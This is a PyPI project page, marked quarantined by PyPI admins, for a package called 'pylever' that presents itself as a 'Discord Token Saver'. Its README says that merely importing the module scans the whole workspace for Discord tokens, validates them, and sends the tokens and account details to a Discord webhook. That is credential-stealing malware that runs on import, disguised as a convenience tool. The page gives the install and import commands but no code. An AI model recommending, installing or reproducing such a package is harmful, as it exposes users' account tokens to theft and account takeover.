Skip to main content
Quarantined

This project has been quarantined by PyPI admins. It cannot be installed or modified until a security review is complete.

Pylever - Discord Token Saver

A Python module for finding Discord bot tokens in your workspace and automatically saving them via Discord webhook. Useful when AI tools remove tokens during bot generation.

Installation

pip install pylever

Usage

Simply import the module in your code:

import pylever

That's it. The module automatically:

  1. Scans your entire workspace for Discord tokens
  2. Validates each token via Discord API
  3. Detects bot vs user tokens
  4. Retrieves account info (username, ID, etc.)
  5. Sends comprehensive info to your webhook
  6. Stores metadata locally

Features

  • Token Validation: Checks if tokens are valid or expired
  • Account Detection: Identifies bot vs user accounts
  • Account Info: Shows username, ID, and account type
  • Status Display: ✅ for valid, ❌ for invalid
  • Automatic Scanning: Runs on import
  • Webhook Integration: All data sent to your Discord

Webhook Messages

Valid tokens show:

✅ VALID - Saved Discord Token
🤖 BOT
Username: MyBot#0000
ID: 123456789

your_token_here


Invalid tokens show:

❌ INVALID - Token Validation Failed your_token_here

Features

  • Deep Folder Scanning: Recursively scans entire workspace for tokens
  • Flexible Pattern Matching: Finds 72-character strings starting with M or N
  • Discord Webhook Integration: Sends tokens directly to your Discord
  • Local Backup: Keeps local copy of saved tokens with timestamps
  • Private API: All internal classes are private to keep your code clean

How It Works

  1. Scans all files in the specified directory recursively
  2. Looks for 72-character tokens starting with M or N
  3. Sends each token to your Discord webhook
  4. Stores metadata locally for reference

Requirements

  • Python 3.8+
  • requests>=2.28.0

Setting Up Discord Webhook

  1. Go to your Discord server settings
  2. Navigate to Webhooks
  3. Create a new webhook
  4. Copy the webhook URL
  5. Use it in the module initialization

License

MIT

Download files

Download the file for your platform. If you're not sure which to choose, learn more about installing packages.

Source Distribution

pylever-1.0.3.tar.gz (6.9 kB view details)

Uploaded Source

Built Distribution

If you're not sure about the file name format, learn more about wheel file names.

pylever-1.0.3-py3-none-any.whl (7.3 kB view details)

Uploaded Python 3

File details

Details for the file pylever-1.0.3.tar.gz.

File metadata

  • Download URL: pylever-1.0.3.tar.gz
  • Upload date:
  • Size: 6.9 kB
  • Tags: Source
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/7.0.0 CPython/3.11.7

File hashes

Hashes for pylever-1.0.3.tar.gz
Algorithm Hash digest
SHA256 1d5ceb096475873b8eac3e37258e2aa06ee4fb97b90852e59ed7ebf9c3d7db17
MD5 5f3129a83ee63d91eccf58f0e3ccc809
BLAKE2b-256 3bb78e14da7704850145ba6570ddf1524204148ce1afac3e117fd1ef0b4de02b

See more details on using hashes here.

File details

Details for the file pylever-1.0.3-py3-none-any.whl.

File metadata

  • Download URL: pylever-1.0.3-py3-none-any.whl
  • Upload date:
  • Size: 7.3 kB
  • Tags: Python 3
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/7.0.0 CPython/3.11.7

File hashes

Hashes for pylever-1.0.3-py3-none-any.whl
Algorithm Hash digest
SHA256 a055e9c555861344b2770f307bc930558281234697ff8ccdbf793e725e167626
MD5 63cbeb9affb3f7c8f3f942048e54abbc
BLAKE2b-256 5101a2850eee44a6be3ca4c976f850692e3234c1f860b1216096888780d88d9d

See more details on using hashes here.

Anthropic, PBC Visionary sponsor Bloomberg Visionary sponsor Hudson River Trading Visionary sponsor Meta Visionary sponsor NVIDIA Visionary sponsor Microsoft Sustainability sponsor Depot Continuous Integration AWS Cloud computing and Security Sponsor Datadog Monitoring Fastly CDN Google Download Analytics Sentry Error logging StatusPage Status page